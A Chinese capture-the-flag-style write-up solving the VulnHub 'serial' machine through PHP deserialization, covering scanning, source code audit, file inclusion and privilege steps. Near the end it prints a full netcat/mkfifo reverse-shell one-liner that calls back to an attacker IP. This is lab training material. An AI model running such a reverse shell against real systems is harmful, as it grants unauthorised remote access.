反序列化靶机serial复现

靶机描述

今天研究一下php反序列化,靶机serial实战。目标为获取root权限。

-------------------------------------

靶机信息

可以去vulhub上下载此靶机:serial: 1 ~ VulnHub下载好,之后,使用Vmware新建虚拟机打开:

渗透测试过程:

探测主机存活(目标主机IP地址)

使用nmap探测主机存活或者使用Kali里的netdicover进行探测。

扫描到存活主机, 开放了22和80端口

访问web服务

F12查看,是一串base64编码

解码,是一串代码

尝试逻辑绕过,将sk4换成admin,看看是否有什么信息。

这里直接报500错误,没办法,只有找其他思路。

目录扫描

  • 1.使用工具进行扫描,这里扫到一个/backup/目录。

打开查看,是一个zip文件,下载查看,是三个源代码文件

发现三个php文件,打开看是

网站源码

代码审计

user.class.php

通过代码审计得知,首先index.php文件包含了user.class.php文件,对cookie中的user参数进行了序列化和base64编码,然后user.class.php文件包含了log.class.php,且定义了两个类,分别是Welcome和User,并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log,且handler函数对变量还进行了文件包含和输出。

经过代码审计可构造payload,尝试读取passwd文件,payload如下:

成功包含,看到有一个sk4用户可以登录

get shell

构造序列化语句上传shell

然后再次抓包 打开用burp的repeater

成功执行

上传后反弹shell

本地监听端口

开始反弹shell

复制代码
rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>&1|nc+192.168.77.129+5555+>/tmp/f

将上述代码url编码后填入参数位置

监听成功

在攻击模块发送获取shell 查找一个txt.bak文件

查看文件得到密码

最后在远程连接 成功进入

相关推荐
FPGA小徐8 小时前
PA1 基础设施(2)深度解析:NEMU 中 ITRACE、MTRACE、FTRACE、IRINGBUF、ETRACE、DIFFTEST 全解析
java·服务器·网络
life码农14 小时前
Nginx 配置允许指定 IP 段访问:从 192.168.1.1 到 192.168.1.124 及 /24 详解
网络·tcp/ip·nginx
javaDocker14 小时前
16.5 小时,我打掉了两只「SSL 握手失败」的怪
网络·网络协议·ssl
蜗牛互联网14 小时前
Python接入Gemini 3.8 Flash实现票据视觉抽取与规则校验
java·javascript·网络·人工智能·python
我就是不信15 小时前
TCP 原理详解:从三次握手到拥塞控制
网络·网络协议·tcp/ip
木白CPP15 小时前
USB(一): USB 概述&&介绍
linux·网络·嵌入式硬件
可乐鸡翅yeah_15 小时前
AES‑128 加密 M3U8,IV 初始化向量新手容易踩坑
前端·网络·数据库·ffmpeg·音视频·m3u8在线
HEJOO915 小时前
指针与结构体:C 语言进阶核心详解
c语言·开发语言·网络
en.en..15 小时前
IO 多路复用:select、poll、epoll 核心函数解析
网络
我就是不信15 小时前
TCP/IP 网络编程:从入门到实战
网络·网络协议·tcp/ip